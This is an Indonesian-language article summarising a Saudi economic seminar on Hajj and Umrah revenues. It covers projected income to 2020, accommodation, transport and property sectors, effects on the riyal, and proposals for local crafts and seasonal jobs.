Potensi Ekonomis Haji dan Umrah

admin_kuh
By admin_kuh February 1, 2015 14:03

Potensi Ekonomis Haji dan Umrah

 Menukil artikel panjang di harian Saudi Arabia al-Yaum yang terbit beberapa bulan lalu (29/09/2014) terungkap potensi ekonomi dari ibadah Haji dan Umrah bagi perekonomian Saudi Arabia pada tahun 2020 mencapai SR (Saudi Real) 47 Milyar. Hal ini penting diangkat mengingat artikel itu memapar hasil seminar para pakar ekonomi tentang potensi ekonomi yang didapat Kerajaan Saudi Arabia dari sector Haji dan Umrah meningkat secara progresif. Para pakar menegaskan bahwa perekonomian haji dan umrah setara dengan pendapatan minyak di masa mendatang.

Para pakar ekonomi mengungkapkan beberapa penelitian dan laporan ekonomi profesional tentang perekonomian haji dan umrah yang menunjuk kepada peningkatan rata-rata pemasukan haji dan umrah pada tahun 2020 setelah rangkaian proyek perluasan di Kedua Tanah Suci dan Masyair Muqaddasah selesai, mencapai lebih dari SR 47 milyar dengan masuknya tahun 2020 bersamaan dengan adanya indikator-indikator peningkatan secara progresif dimulai tahun mendatang.

Para pakar menjelaskan dalam seminar ekonomi profesional tentang perekonomian haji dan umrah yang diselenggarakan oleh kantor redaksi di Jeddah kemarin lusa, bahwa rata-rata biaya yang dikeluarkan jemaah haji di negaranya sebelum sampai di Arab Saudi mencapai 36% sedangkan yang dibelanjakannya di Arab Saudi mencapai rata-rata 63% dari total biaya haji keseluruhan. Ini indikator atas merebaknya pengaruh perekonomian haji kepada negara-negara asal kedatangan jemaah haji dan umrah, bukan hanya kepada perekonomian Arab Saudi.

Pakar senior Perekonomian Haji dan Umrah, dosen jurusan Ekonomi fakultas Ilmu Ekonomi dan Keuangan Islam di Universitas Ummul Qura, DR. Abid Al Abdali mengatakan: Tahun ini kami akan mengurangi perekonomian haji dan umrah sesuai dengan penelitian yang dilakukan terhadap masukan data perkonomian yang sudah standar, bahwa penurunan pemasukan haji akibat dari pengurangan jumlah jemaah haji dari luar dan dalam negeri, sesuai dengan prosentase pengurangan yang diumumkan yaitu 50% untuk jemaah haji dalam negeri dan 20% untuk jemaah haji luar negeri, karena masih berlangsungnya pekerjaan proyek-proyek perluasan di Masjdil Haram Makkah. Setelah pekerjaan perluasan selesai dan jemaah haji diperbolehkan, diperkirakan pemasukan dari haji akan melonjak sampai SR 22,6 milyar dengan peningkatan sebesar 69,2%, setelah itu diperkirakan akan terus bertambah dengan rata-rata yang stabil hingga puncaknya sekitar SR 24,2 milyar. Ada beberapa indikator positif terhadap peningkatan dan keuntungan sektor-sektor perekonomian khususnya sektor properti yang merupakan 40% dari pengeluaran jemaah haji, dan 14% untuk sektor hadiah oleh-oleh serta 10% untuk sektor makanan. Adapun sektor-sektor lain kurang dari 8%.

Sektor Akomodasi Mendominasi Perekonomian Haji

Al Abdali menyampaikan pada seminar ekonomi tersebut bahwa sektor akomodasi pada periode 1995-2020 mendominasi perekonomian haji, dan sesuai pendistribusian pemasukan haji yang riil dan diprediksi kepada sektor-sektor perekonomian di Makkah, diperhatikan bahwa sektor akomodasi di peringkat pertama yang paling berpengaruh kepada perekonomian haji dan menguasai porsi terbesar selama periode tersebut, bahwa pemasukannya dimulai dari 5 milyar Rial pada permulaan periode tersebut hingga mencapai puncaknya sekitar 10,9 milyar Rial pada tahun 2012, kemudian menurun tajam setelah pengurangan jumlah jemaah haji pada tahun berikutnya 2013 sebesar 35%, diperkirakan akan terus menurun tahun ini namun dengan prosentase lebih kecil yaitu sekitar 22%. Pada tahun depan 2015 pemasukan haji diperkirakan akan kembali meningkat sampai SR 9,1 milyar kemudian terus meningkat dengan rata-rata pertumbuhan stabil hingga tahun 2020. Pola pemasukan sektor lain tidak berbeda namun semuanya di bawah level SR 4 milyar.

DR Al Abdali menerangkan bahwa besarnya pemasukan haji dan umrah setiap musim perpegang kepada beberapa faktor, di antaranya yang terpenting adalah jumlah jemaah umrah dan haji dari dalam dan dari luar negeri karena perbedaan karakter ekonomi dan pola pengeluaran masing-masing kelompok, demikian juga dengan tingkat ekonomi/kesejahteraan jemaah haji dan umrah. Jemaah haji dan umrah yang memiliki penghasilan tinggi atau mereka yang datang dari negera-negara yang berpenghasilan tinggi, diperkirakan akan lebih banyak berpotensi untuk berpengeluaran daripada mereka yang berpenghasilan rendah atau mereka yang datang dari negara-negara berpenghasilan rendah. Demikian juga dengan jenis kelamin jemaah haji dan umrah bahwa ada perbedaan dalam pengeluaran antara laki-laki dan perempuan pada saat musim sesuai dengan penelitian yang profesional. Faktor-faktor tersebut dan lainnya berpengaruh besar kepada potensi pengeluaran setiap jemaah haji dan umrah, dan selanjutya berpengaruh kepada besarnya pemasukan yang diperolah sektor-sektor seperti akomodasi, transportasi dan tempat-tempat perniagaan dan lain-lain.

  1. Al Abdali menerangkan bahwa grafik perkembangan jumlah jemaah haji dan umrah pada periode 1416 H-1435 H menunjukkan pertumbuhan yang stabil dan progresif hingga permulaan tahun 30-an Hijriah kemudian mulai meningkat dengan rata-rata yang lebih tinggi kemudian menurun tajam pada tahun 1433 H, yaitu tahun pengurangan jumlah jemaah haji. Kami juga melihat penurunan jumlah jemaah umrah karena tuntutan-tuntutan resmi untuk mengurangi jumlah dan penundaan pelaksanaan umrah, untuk mengurangi tekanan terhadap daya tampung Masjidil Haram pada saat pekerjaan perluasan berlangsung yang mungkin ini jelas terlihat pada saat bulan Ramadhan pada tahun tersebut.

Jumlah Jemaah Umrah Diperkirakan Mencapai 20 Juta Jemaah Beberapa Tahun Mendatang

Sesuai perkembangan jumlah jemaah haji yang riil dan diprediksi selama periode 1995-2020. Laporan perkiraan jumlah jemaah haji dan umrah sampai tahun 2020 berpegang kepada skenario rata-rata pertumbuhan jumlah sebelumnya sejak permulaan periode tersebut. Yaitu skenario yang lebih akurat dengan tidak adanya data di atas tahun 2014 atau berakhirnya pekerjaan perluasan Masjdil Haram. Diperkirakan daya tampungnya akan menjadi dua kali lipat, namun demikian tidak ada kejelasan jumlah jemaah haji dan umrah yang akan ditetapkan setelah berakhirnya perluasan: Apakah kuota yang diberikan untuk negara-negara Islam akan berubah? Atau apakah akan diperbolehkan penambahan jumlah/kuota secara bertahap? Demikian juga halnya dengan jumlah jemaah umrah?

Yang perlu diperhatikan bahwa daya tampung setelah selesainya perluasan, menurut perkiraan paling sedikit akan menjadi dua kali lipat dari jumlah sebelum pengurangan, yaitu 5 atau 6 juta jemaah haji. Demikian juga dengan jemaah umrah diperkirakan jumlahnya akan melebihi 20 juta setahun. Jumlah tersebut memerlukan persiapan infra struktur, fasilitas dan pelayanan-pelayanan dasar di kota Makkah, atau arus pertambahan tersebut akan mengakibatkan kelumpuhan fasilitas dan pelayanan-pelayanan menghadapi jumlah yang besar tersebut dan akan mempercepat penyusutan infra struktur yang ada di kota Makkah.

Sesuai dengan jumlah jemaah haji dan umrah yang riil dan diprediksi pada periode penelitian, perkiraan total pegeluaran untuk kedua kelompok tersebut berdasar kepada rata-rata pengeluaran jemaah haji sekitar SR 7.972 per orang, yaitu rata-rata pengeluaran jemaah haji dari dalam dan luar negeri dengan mempertimbangkan besarnya prosentase jumlah mereka dan indikator harga konsumen per tahun, dengan catatan bahwa rata-rata pengeluaran jemaah haji yang datang dari luar melebihi jemaah haji dari dalam negeri.

Prediksi Penurunan Pemasukan Haji

Pada tahun ini 2014 diperkirakan pemasukan haji akan terus menurun karena pengurangan jumlah jemaah haji darli luar dan dalam negeri sesuai dengan pengurangan yang telah diumumkan, 50% untuk jemaah haji dalam negeri dan 20% untuk jemaah haji dari luar negeri, karena masih berlangsungnya pekerjaan proyek-proyek perluasan di Masjdil Haram. Sesuai dengan pengumuman instansi pemerintah tentang jumlah jemaah haji, jumlah jemaah haji mencapai 1,5 juta, lebih sedikit dari tahun lalu walaupun jumlah tersebut diperkirakan bertambah dalam waktu dekat di masa mendatang, di samping adanya sebagian jemaah haji yang melanggar peraturan terutama dari dalam kota Makkah yang tidak dapat diukur secara statistik, namun beberapa survei di lapangan mengindikasikan bahwa 20,5% dari penduduk kota Makkah menunaikan ibadah haji dan kebanyakan mereka memulai di hari Arafah atau sebelum matahari tenggelam karena mudahnya bagi mereka.

Diprediksikan pengurangan tersebut akan terus berlanjut hingga tahun 2015, dan untuk tahun ini diperkirakan perluasan Masjidil Haram akan selesai, serta jumlah jemaah umrah akan mulai meningkat dengan rata-rata yang stabil hingga mencapai 6,6 juta jemaah umrah.

Mengenai jemaah haji, ada penurunan tajam pada tahun 2013 dan 2014 dan akan mulai meningkat pada permulaan tahun 2015, yaitu setelah pekerjaan perluasan selesai di mana jumlah jemaah haji akan mulai meningkat tajam dengan pertambahan lebih dari 1 juta jemaah karena berakhirnya program pengurangan jumlah jemaah haji, kemudian setelah itu dimulai pertambahan per tahun dengan rata-rata yang stabil sampai mencapai 2,7 juta pada tahun 2020.

Dengan membandingkan perkembangan jumlah jemaah haji dan umrah, grafik menunjukkan bahwa pada tahun 2005 jumlah jemaah haji dan umrah simetris sekitar 2,2 juta orang untuk masing-masing kelompok, dan menunjukkan bahwa ketika jumlah jemaah haji menurun sekitar 1,5 juta jemaah pada tahun 2014, jumlah riil jemaah umrah pada puncaknya mencapai sekitar 5,6 juta jemaah.

Pemasukan Haji dan Umrah Mengarah Naik

Mengenai pemasukan haji dan umrah yang riil dan diprediksi, DR Al Abdali menyampaikan bahwa sesuai dengan jumlah jemaah haji sebelumnya dan berdasarkan rata-rata pengeluaran jemaah haji terdahulu, dapat dihitung total pengeluaran riil jemaah haji pada beberapa tahun yang lalu dan juga prediksi pengeluaran sampai tahun 2020. Kita melihat bahwa grafik total pemasukan haji dalam bentuk pengeluaran jemaah haji berfluktuasi namun mengarah naik bersama perjalanan waktu, membuktikan peningkatan pemasukan haji sesuai dengan perkembangan zaman. Perlu diingat bahwa perhitungan pemasukan tersebut didasari oleh dua unsur, yaitu: jumlah jemaah haji dan indikator harga konsumsi, dengan pengertian bahwa perubahan total jumlah pemasukan kembali kepada perubahan pada kedua unsur tersebut dengan asumsi bahwa perilaku konsumsi dan pengeluaran jemaah haji dan umrah serta faktor-faktor lainnya tetap tidak berobah.

Dapat dilihat bahwa pemasukan riil haji yang tertinggi adalah pada tahun 2012 hingga mencapai SR 26,9 milyar, kemudian menurun pada tahun berikutnya 2013, yaitu tahun pengurangan jumlah jemaah haji, hingga SR 9,5 milyar atau 35,1%. Diperkirakan penurunan ini akan berlanjut tahun ini 2014 sekitar SR 4,1 milyar atau 23,5%. Dimulai dari tahun berikutnya dan setelah pekerjaan perluasan selesai serta penambahan jemaah haji diperbolehkan, diperkirakan pemasukan haji akan meloncat kepada SR 22,6 milyar atau dengan pertambahan sebesar 69,2%, kemudian setelah itu diperkirakan akan terus meningkat dengan rata-rata stabil hingga mencapai puncaknya sekitar SR 24,2 milyar, dengan catatan bahwa pemasukan tersebut kemungkinan akan dua kali lipat, sesuai dengan jumlah jemaah haji yang diperbolehkan setelah pekerjaan perluasan selesai, dan sesuai dengan perobahan kuota.

Mengenai pemasukan umrah, levelnya rendah dan relatif stabil pada periode 1996-2020, kemudian akan meluncur naik dengan rata-rata yang meningkat sampai tahun ini 2014 hingga mencapai SR 21,7 milyar, dan diperkirakan akan menurun pada tahun mendatang 2015 hingga SR 21,5 milyar, setelah itu mulai meningkat dengan rata-rata yang stabil hingga mencapai puncaknya sebesar SR 25,8 milyar dengan masuknya tahun 2020.

Berbagai Pola Permintaan Pasar

  1. Al Abdali melanjutkan, bahwa dalam skala perekonomian ada beberapa refleksi dan pengaruh ekonomi bagi haji dan umrah yang dapat dipantau dalam skala mikro terkait dengan pengeluaran jemaah haji saat mereka berada di Arab Saudi, demikian juga dalam skala makro melalui pengaruh ekonomi haji dan umrah secara menyeluruh terhadap perekonomian Arab Saudi. Dalam skala mikro, kedatangan jemaah haji dan umrah serta keberadaan mereka tinggal di Makkah menimbulkan berbagai pola pengeluaran yang selanjutnya pola permintaan di pasar komoditas seperti pembelian hadiah dan makanan, serta fasilitas seperti pengeluaran biaya untuk akomodasi, transportasi dan lain-lain. Demikian juga dengan permintaan langsung yang menimbulkan berbagai pola permintaan turunan di pasar-pasar pendukung yang lain

Perlu disampaikan bahwa pengaruh-pengaruh ekonomi tersebut tercurah kepada pasar sektor swasta, bukan sektor Pemerintah. Sejak ditemukannya minyak dan diekspor dalam jumlah komersil tahun 1939, haji dan umrah berobah menjadi mata anggaran pengeluaran terbesar dalam anggaran Pemerintah, di mana pengeluaran untuk proyek-proyek infra struktur seperti fasilitas dan pelayanan akomodasi yang terkait dengan musim haji dan umrah terus berlangsung, diawali dengan kota perkemahan di Mina, jembatan Jamarat dan perluasa Masjidil Haram di Makkah saat ini, di samping proyek-proyek yang serupa di Madinah. Sesuai beberapa perkiraan tentang anggaran langsung pada tahun-tahun terakhir, lebih dari SR 200 milyar di Masyair Muqaddasah dan perluasan Masjdil Haram. Pengeluaran Pemerintah tersebut tidak ada pemasukan baliknya sama sekali karena tidak ada bea cukai atau pajak Pemerintah terhadap jemaah haji.

Perekonomian Kota Madinah Pemasukan Tertinggi Pada Tahun 90-an Hijriah

  1. Al Abdali mengungkapkan bahwa dalam skala sejarah perekonomian Arab Saudi tentang perekonomian haji dan umrah, beberapa penelitian kami mencatat bahwa musim haji merupakan sumber penting untuk perekonomian kota Madinah pada tahun 90-an Hijriah, dan merupakan 86% dari total pendapatan harian kota Madinah serta 66% dari total pendapatan kota Madinah. Pengaruh tersebut lebih besar di Makkah karena masa tinggal jemaah haji lebih lama di Makkah dan karena adanya kelompok mutawwif serta kesibukan mayoritas penduduk Makkah dalam kegiatan tersebut. Dalam skala neraca pembayaran dapat dilihat pada periode tahun 80-an dan 90-an Hijriah (1381-1399 H) ada beberapa akun penghasilan haji dan pada masa itu merupakan sekitar 6% dari total penghasilan, tetapi setelah itu digabungkan ke dalam penghasilan lainnya dan prosentasenya menurun menjadi 1,9% karena meningkatnya volume ekspor yang lain-lain.

Pengaruh Positif Terhadap Rial Saudi

Mengenai terpengaruhnya Rial Saudi oleh mata uang negara-negara Islam, DR. Al Abdali menegaskan bahwa ada berbagai pengaruh ekonomis dari haji dan tidak dapat diletakkan dalam satu bingkai analisis, karena di antara pengaruh tersebut ada yang langsung seperti pengeluaran jemaah haji untuk komoditas dan pelayanan-pelayanan, dan pengaruh pengeluaran ini langsung kepada pemasukan sektor perdagangan dalam pasar. Dan dii antaranya tidak langsung, menjangkau sampai kepada sektor-sektor dan pasar-pasar lain melalui permintaan yang berasal dari permintaan jemaah haji. Di antara pengaruh tersebut, pengaruh haji terhadap nilai tukar Rial dan ini pengaruh eksternal. Jemaah haji meminta Rial Saudi dan permintaan tersebut berpengaruh kepada nilai tukar Rial terhadap mata uang asing di pasar penukaran valuta asing. Pada kenyataannya, tujuan permintaan jemaah haji terhadap Rial dapat dibagi kepada yang berikut ini:

  • Permintaan untuk tujuan pertukaran komoditas atau yang terlihat. Permintaan ini dengan tujuan pengeluaran untuk komoditas yang dibeli oleh jemaah haji , seperti makanan, pakaian, hadiah, batu permata dan hadiah lainnya ketika mereka berada di Arab Saudi.
  • Permintaan untuk tujuan pertukaran yang tidak terlihat, yaitu permintaan dengan tujuan pengeluaran untuk pelayanan-pelayanan seperti pengeluaran untuk akomodasi, pelayanan mutawwif dan lain-lain.
  • Permintaan dengan tujuan untuk simpanan atau dengan tujuan untuk menghadapi kondisi darurat, seperti kemungkinan terkena penyakit atau terpisah dari rombongan.

Pengeluaran Jemaah Haji dan Pendapatan Nasional

Beliau menjelaskan bahwa dalam penelitian terdahulu diperkirakan pengaruh pengeluaran jemaah haji terhadap pendapatan nasional dan penawaran uang terhadap nilai tukar Rial terhadap Dollar Amerika. Jelas pentingnya pengaruh pengeluaran jemaah haji terhadap nilai tukar uang.

Penelitian tersebut mengungkapkan bahwa pengeluaran jemaah haji dan pendapatan nasional berperan dalam penurunan nilai tukar uang (jumlah Rial terhadap Dollar) sedangkan penawaran uang mengakibatkan kenaikan. Penelitian menghasilkan bahwa setiap peningkatan pengeluaran jemaah haji sebesar satu milyar Rial disertai dengan penurunan nilai tukar sebesar 0,9%, dan setiap peningkatan pendapatan nasional sebesar satu milyar Rial disertai dengan penurunan sebesar 0.19%, serta bahwa peningkatan penawaran uang sebesar satu milyar Rial disertai dengan peningkatan nilai tukar sebesar 0.12%, dengan catatan bahwa pengaruh haji terhadap nilai tukar tidak hanya berpengaruh langsung kepada permintaan jemaah haji terhadap uang Rial, tetapi ada pengaruh tidak langsung berasal dari permintaan terhadap barang impor untuk pasaran haji, di mana permintaan terhadap impor komoditas dan pelayanan dari pasar luar negeri semakin segar, oleh para agen dan pedagang sebelum musim haji untuk menghadapi permintaan jemaah haji pada saat musim haji. Hal ini berefek balik terhadap pengeluaran jemaah haji, karena permintaan terhadap komoditas impor dengan tetapnya faktor-faktor yang lain mengakibatkan peningkatan harga tukar uang Rial terhadap mata uang asing (penambahan jumlah RIal terhadap mata uang asing), dan dengan tetapnya kondisi-kondisi yang lain, pengaruhnya yang murni bergantung kepada besarnya impor dan besarnya permintaan jemaah haji terhadap uang Rial. Apabila permintaan jemaah haji terhadap Rial lebih besar dari impor untuk haji, maka hasil yang diperkirakan adalah penurunan harga tukar Rial dari rata-rata nilainya. Dan apabila impor lebih besar dari permintaan jemaah haji terhadap Rial, maka nilai tukar Rial akan meningkat dari rata-rata nilainya. Adapun jika besarnya impor untuk haji sama dengan permintaan jemaah haji maka hasil akhirnya adalah kestabilan nilai tukar Rial dengan harga rata-rata.

Pemasukan Haji dan Umrah Mengimbangi Pemasukan Minyak di Masa Mendatang

  1. Nadiah Ba’eshen, pakar ekonomi dan rektor Fakultas Manajemen di Utara Jeddah, menyinggung tentang pengoptimalan perekonomian haji dan umrah karena pengaruhnya yang besar dalam skala perekonomian setempat, sebagai pemasukan tambahan bagi perekonomian nasional Arab Saudi, dan bahwa ketika kita membicarakan perekonomian haji dan umrah, kita harus mengetahui sejak awal sebagai satu sektor lengkap yang seharusnya memiliki pemasukan balik dan merupakan salah satu sumber pendapatan utama bagi Pemerintah.
  1. Ba’eshen mengatakan: Kami menyadari benar bahwa Wilayah Barat dan Hijaz secara keseluruhan, ekonominya pada zaman dahulu berdiri di atas Haji dan Umrah, yaitu sebelum keterbukaan ekonomi sekarang yang menyaksikan perkembangan yang signifikan pada masa Pimpinan yang bijaksana. Demikian juga dengan apa yang disebut Rifadah (penghormatan tamu) jemaah haji atau yang disebut dengan Tawafah yang diwarisi turun-temurun oleh keluarga-keluarga yang bangga dengan bidang tersebut, yakni bergelut dalam pelayanan tamu-tamu Allah. Apabila pemasukan ekonomi ini dimanfaatkan sebaik-baiknya dan ada pengaturan yang lebih baik daripada yang ada sekarang, maka pemasukan haji dan umrah akan mengimbangi pemasukan minyak. Kalifornia sebagai wilayah terbesar, ekonominya berpegang hanya kepada pemasukan dari pariwisata “Disney Land” yang didatangi oleh satu juta pengunjug dalam satu minggu, dan perekonomiannya berkembang karena kedatangan para pengunjung dan pariwisata tersebut dimanfaatkan secara ekonomi.

Beliau menjelaskan bahwa pengaturan perekonomian yang baik pada sektor haji dan umrah, dan pelibatan investasi-investasi setempat pada sektor tersebut, setelah proyek-proyek di Kedua Tanah Suci selesai, akan mengimbangi pemasukan minyak. Ketika kami menuntut pengaturan, di sini di hadapan para pejabat haji, mereka beralasan bahwa pariwisata adalah ilmu pengetahuan yang diajarkan di Amerika. Kalau kita mengatakan bahwa pariwisata di Amerika berusia 200 atau 300 tahun, maka haji dan umrah telah memulai pergerakan pariwisata agama (rohani) pada keduanya sejak 1400 tahun, Kitalah yang menjadi dasar, dan di sinil pariwisata agama. Kita harus membangkitkan industri ini dan mengembangkannya sehingga menjadi sumber pemasukan ekonomi penting yang mengimbangi pemasukan minyak. Karenanya kami menegaskan bahwa memperhatikan sektor ini lebih utama, kita kembangkan dengan bentuk yang lebih baik daripada kehilangan perekonomian dan tidak dimanfaatkan secara yang menguntungkan.

Para Mutawwif Mendapat 20% dari Perkonomian Haji

  1. Wafa Mahdhar, profesor ekonomi di Universitas Ummul Qura dan wakil dari kelompok mutawwif di Makkah, mengatakan bahwa para mutawwif hanya mendapat manfaat sebesar 20% dari perekenomian haji, dan 80% dimanfaatkan oleh misi-misi haji dari luar yang mengawasi jemaah haji luar negeri. Profesi mutawwif yang dasar adalah melayani tamu-tamu Allah. Dari kebudayaan kami, kami harus mengenal setiap jemaah haji, apa yang dia suka dan apa yang dia tidak suka? Dari sinilah datangnya peran dan profesionlisme mutawwif. Sangat penting bagi kami agar jemaah haji keluar dengan kebudaayaan dan kepuasan sepenuhnya terhadap apa yang diberikan kepadanya, dan inilah yang tidak kami ada pada petugas misi-misi haji dari luar. Setelah munculnya muassasah-muassaah, dilakukan pembatasan pekerjaan mutawwif, hanya melayani satu lapisan dari negara manapun berdasarkan persyaratan dan klasifikasi tertentu. DR. Mahdhar menambahkan: Dahulu peran mutawwif apabila dia ada 500 atau 1000 jemaah, menyediakan akomodasi yang layak sehingga pengembalian uang/pemasukan balik berada di dalam negeri dan tentunya hal tersebut pasti akan meningkatkan perekonomian negara. Dengan dibukanya kantor-kantor pejabat misi-misi haji, maka kantor-kantor tersebut menjadi penanggung jawab penyediaan akomodasi untuk mereka dan hal tersebut menjadikan pemasukan balik berada di luar negara dan dihitung masuk kepada kantor-kantor misi haji. Dengan demikian, tidak akan ada pemasukan balik dari haji di masa mendatang karena tidak adanya pengaturan sektor ini dan pemanfaatan yang ideal secara ekonomi.

Properti di Makkah dan Madinah Menghadapi Kelimpahan

Abdullah Al Ahmari, ketua Tim Penilaian Harga Properti di Kamar Dagang Jeddah, menjawab permasalahan yang disampaikan oleh DR Wafa Mahdhar, bahwa pengorganisasian yang terjadi sekarang ini dipaksakan oleh keadaan, dan bahwa ikut campur kantor-kantor petugas misi-misi haji sebagai penanggung jawab atas jemaah hajinya, muncul karena kami banyak mendapatkan permasalahan. Berdasarkan pengabdian saya sejak lama di pemerintahan, saya mengetahaui persis bahwa Makkah pada waktu dahulu memiliki kekhususan secara ekonomi dan sisi ini harus diperhatikan oleh seluruh kementerian terkait yang berkepentingan. Saya melihat bahwa Kementerian Haji tidak punya peran yang efektif kecuali hanya peran pengawasan dan pengorganisasian, seharusnya ada peran pengawasan ekonomi. Kita tidak mengingkari bahwa pengeluaran untuk jemaah haji di Arab Saudi tidak ada tandingannya di negara manapun di dunia, mengingat bahwa mereka datang dengan uang yang banyak, dan kerugian yang ditanggung oleh Kerajaan Arab Saudi besar.

Al Ahmari mengatakan bahwa properti di Makkah dan Madinah akan menghadapi kelimpahan apabila tidak di-investasikan dan dibuat perencanaan rinci bersama pihak-pihak yang berwenang mengawasi peyusunan perencanaan perekonomian, agar dapat dimanfaatkan dengan baik. Apabila dilakukan pembangunan banyak hotel-hotel, hal itu akan mengakibatkan kelimpahan karena banyaknya. Beliau menerangkan bahwa investasinya terbatas, properti yang terbaik tidak mendapatkan pemasukan lebih dari 5%, dan kami menganggap itu sesuatu kekhususan karena kekhususannya terletak pada kontinuitas dan konsistensinya . Pemasukan balik apabila tetap dan stabil pada pemilik properti akan menghasilkan lebih baik daripada keuntungan 7-8% namun terputus-putus. Seluruh pemilik properti mengetahui hal ini dengan baik, dan beberapa hotel tidak dibuka kecuali pada bulan haji saja. Kemudian ada pengaturan dari pemerintah tentang jumlah jemaah haji dan umrah sehingga marjin keuntungan sangat kecil dan hal tersebut terkadang mengakibatkan kerugian bagi investor. Hal itu kembali kepada pengaturan dari Pemerintah yang benar-benar ada dalam kenyataan seperti perluasan yang terjadi. Dan karena kondisi politik serta huru-hara di beberapa negara tetangga dan virus-virus yang menyebar, kami terpaksa membuat pengaturan jumlah jemaah haji karena tidak sanggup menerima kedatangan jumlah yang besar karena kondisi tersebut.

Mengenai besarnya investasi mendatang, beliau mengatakan: Kota Makkah dan Madinah, semua orang ingin berinventasi di sana, dan properti di kedua kota tersebut dicari-cari. Harus ada fasilitas yang memudahkan serta pengaturan yang baik untuk memanfaatkan perekonomian ini dalam meningkatkan perekonomian kita sebagai negara. Kami tidak mengingkari upaya Pemerintah yang besar dalam melayani jemaah haji, di antaranya penyediaan rumah-rumah sakit, erbagai fasilitas dan keamanan. Bagaimanapun besarnya pemasukan balik tersebut tidak dapat mengimbangi sepersepuluh dari apa yang dikeluarkan Pemerintah dalam melayani jemaah haji. Beliau menerangkan bahwa ada ketidak-jelasan pada investasi mendatang dan saya tidak dapat memprediksikan. Adapun mengenai rasio operasional berkisar antara 70-80% saat ini, dan setelah rangkaian perluasan selesai kemungkinan pemasukannya akan mencapai 200%

Pengembangan Perekonomian Keluarga Produktif Dalam Perhajian

  1. Salim Ba’ajajah, rektor Fakultas Ekonomi di Universitas Taif, menegaskan perlunya menciptakan industri ringan dengan memanfaatkan keluarga-keluarga produktif, untuk mengembangkan perekonomian mereka dan diintegrasikan dengan perekonomian haji sehingga hasil industri ringan menjadi identitas Kedua Tanah Haram, dan agar pihak-pihak yang berkuasa di Pemerintah mengayomi keluarga-keluarga tersebut sebagai sumber daya manusia penting yang harus dimanfaatkan dan diberikan dana.
  1. Ba’ajajah menambahkan: Sekarang ini kita tidak memiliki industri ringan, dan seluruh hadiah kenang-kenangan yang ada, karpet dan industri kerajinan tangan yang ada di Makkah, sangat disesalkan, produksi dari Cina walaupun sangat sederhana. Harus melibatkan keluarga-keluarga produktif dalam bidang ini sehingga ada pemasukan ekonomi bagi keluarga-keluarga produktif tersebut, dan dengan demikian akan memantul kepada negeri ini, serta harus memperlakukan keluarga-keluarga tersebut sebagai keluarga yang produktif, didukung dan diberikan dana, dengan mendirikan pabrik-pabrik untuk mereka, untuk industri ringan dan kerajinan tangan. Kemudian dilakukan pemasaran untuk keluarga-keluarga tersebut dengan mendistribusikan produk-produk mereka ke tempat-tempat niaga dengan sloga “Dibuat di Makkah” dan “Dibuat di Madinah”, sehingga keluarga-keluarga tersebut mendapatkan manfaat pemasukan-pemasukan dengan meningkatkan perekonomian mereka. Kita jangan lupa bahwa haji merupakan satu masa tertentu dan masa tersebut harus dimanfaatkan dengan baik, dengan membuka lapangan pekerjaan sementara dan musiman bagi generasi pemuda.

Meningkatnya Permintaan Terhadap Rial Saudi

Selanjutnya Muhammad Fereihan, anggota Yayasan Ekonomi Saudi menegaskan agar memanfaatkan kesempatan ini untuk meningkatkan perekonomian negara melalui peluang haji dan umrah, dengan mendirikan dua pasar tradisional di Makkah dan di Madinah untuk produk kerajinan tangan, hadiah kenang-kenangan dan segala sesuatu yang terkait dengan jemaah haji dan umrah.

Mengenai pergerakan Rial Saudi, Ibn Fereihan menyampaikan bahwa masuknya musim haji menyegarkan pergerakan sirkulasi dan meningkatkan permintaan terhadap Rial Saudi. Keuntungan perusahaan penukaran uang di pasaran lokal meningkat, khususnya di Kedua Tanah Haram. Apabila keuntungan mereka menurun, ekonomi Arab Saudi tidak terpengaruh sama sekali dan buktinya adalah data meningkatnya cadangan valuta asing serta deposit di luar negeri Badan Pengawas Keuangan Arab Saudi (SAMA) sebesar 4,4% hingga mencapai SR 678 milyar pada bulan Juli, dibanding dengan bulan Juni pada tahun yang sama, sedangkan investasi saham di luar negeri menurun sebesar 0,1% hingga mencapai SR 2.063 triliun. Dengan demikian maka cadangan uang Arab Saudi mencatat rekor tertinggi selama bulan Juli, dan ini membuktikan kuatnya kondisi perekonomian dan ekonomi Arab Saudi saat ini, serta membuktikan bahwa ketika keuntungan perusahaan penukaran uang menurun, pengaruh negatifnya hanya kepada individu-individu dan perusahaan-perusahaan yang bekerja pada sektor tersebut, pengaruhnya kepada tingkat perekonomian dan tingkat kepemerintahan akan terbatas.

Investasi Sektor Transportasi Dalam Perekonomian Haji

Said Al Bassami, ketua Komite Nasional di Dewan Kamar Dagang Arab Saudi mengatakan bahwa transportasi pelengkap bagi seluruh investor, dan merupakan sisi yang penting pada saat musim haji. Sekarang ini biaya untuk satu bangku berkisar antara SR 400 s.d. SR 500 per jemaah. Menurut perkiraan ke depan sektor ini apabila rangkaian proyek-proyek transportasi umum sudah selesai di Makkah dan Madinah, pemasukannya akan meningkat sesuai dengan telaah awal kami lebih dari SR 300 milyar.

Al Bassami menerangkan bahwa tugas kendaraan bus pada waktu pengoperasian kereta Al Haramain tidak akan berhenti dan ada pasarnya sendiri, serta akan mendukung kereta secara langsung agar tidak menyebabkan penumpukan jumlah besar jemaah haji di stasiun-stasiun kereta. Ini yang sedang teliti dan direncanakan oleh pihak-pihak yang berwenang.

Dari sisi lain, beliau menegaskan bahwa dalam bidang ini kita harus memanfaatkan generasi muda dan membina bakat-bakat mereka sehingga mereka dapat mandiri dan membantu pemerintah, memasukkan mereka ke dalam bidang usaha bebas seperti usaha pangkas rambut, untuk membuat pekerjaan musiman yang memilki penghasilan tinggi dan akan menghapuskan pengangguran. Jika Kementerian Haji memberikan kemudahan-kemudahan bagi generasi muda dan menciptakan kesempatan kerja untuk mereka, melatih dan menyiapkan mereka untuk bekerja, niscaya perekonimian individual akan meningkat dan selanjutkan akan memantul kepada negara.

Ekstraksi Unsur Gelatin dari Kurban

Nasir Basahal ketua Tim Pengembangan Ekspor di Kamar Dagang Jeddah dan anggota Dewan Pengurus di Persatuan Industri Kulit Arab mengungkapkan bahwa Kerajaan Arab Saudi melalui Proyek Pemanfaatan Dam dan Kurban telah memulai mengekstraksi gelatin dari kulit Kurban di rumah-rumah pemotongan hewan di Masyair Muqaddasah, setelah digarami dan dikeringkan untuk persiapan mengekstraksi unsure gelatin yang berperan besar dalam industri obat-obatan Arab Saudi.

